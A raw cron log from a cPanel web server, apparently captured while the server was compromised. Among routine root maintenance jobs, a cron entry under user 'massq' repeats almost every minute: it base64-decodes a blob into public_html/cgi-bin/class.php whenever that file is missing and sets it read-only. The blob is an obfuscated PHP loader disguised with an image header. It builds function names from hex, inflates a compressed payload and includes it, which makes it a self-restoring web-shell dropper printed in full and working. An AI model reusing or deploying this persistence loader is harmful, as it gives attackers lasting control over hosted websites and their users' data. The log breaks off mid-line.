Sep  8 01:05:01 server CROND[24938]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 01:05:01 server CROND[24937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:05:01 server CROND[24939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:05:01 server CROND[24936]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 01:05:01 server CROND[24940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:06:01 server CROND[25827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:06:01 server CROND[25828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:06:01 server CROND[25829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:07:01 server CROND[26228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:07:01 server CROND[26230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:07:01 server CROND[26229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:08:01 server CROND[26594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:08:01 server CROND[26600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:08:01 server CROND[26601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:09:01 server CROND[26960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:09:01 server CROND[26962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:09:01 server CROND[26963]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 01:09:01 server CROND[26961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:10:01 server CROND[27345]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 01:10:01 server CROND[27346]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 01:10:01 server CROND[27350]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:10:01 server CROND[27357]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 01:10:01 server CROND[27362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:10:01 server CROND[27358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:10:01 server CROND[27360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:10:01 server CROND[27363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:11:01 server CROND[28183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:11:01 server CROND[28184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:11:01 server CROND[28185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:12:01 server CROND[28650]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 01:12:01 server CROND[28653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:12:01 server CROND[28652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:12:01 server CROND[28654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:13:01 server CROND[29024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:13:01 server CROND[29025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:13:01 server CROND[29026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:14:01 server CROND[29390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:14:01 server CROND[29391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:14:01 server CROND[29392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:15:01 server CROND[29763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 01:15:01 server CROND[29764]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:15:01 server CROND[29769]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 01:15:01 server CROND[29767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:15:01 server CROND[29771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:15:01 server CROND[29774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:15:01 server CROND[29772]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 01:15:01 server CROND[29773]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:16:01 server CROND[30591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:16:01 server CROND[30592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:16:01 server CROND[30593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:17:01 server CROND[30953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:17:01 server CROND[30954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVp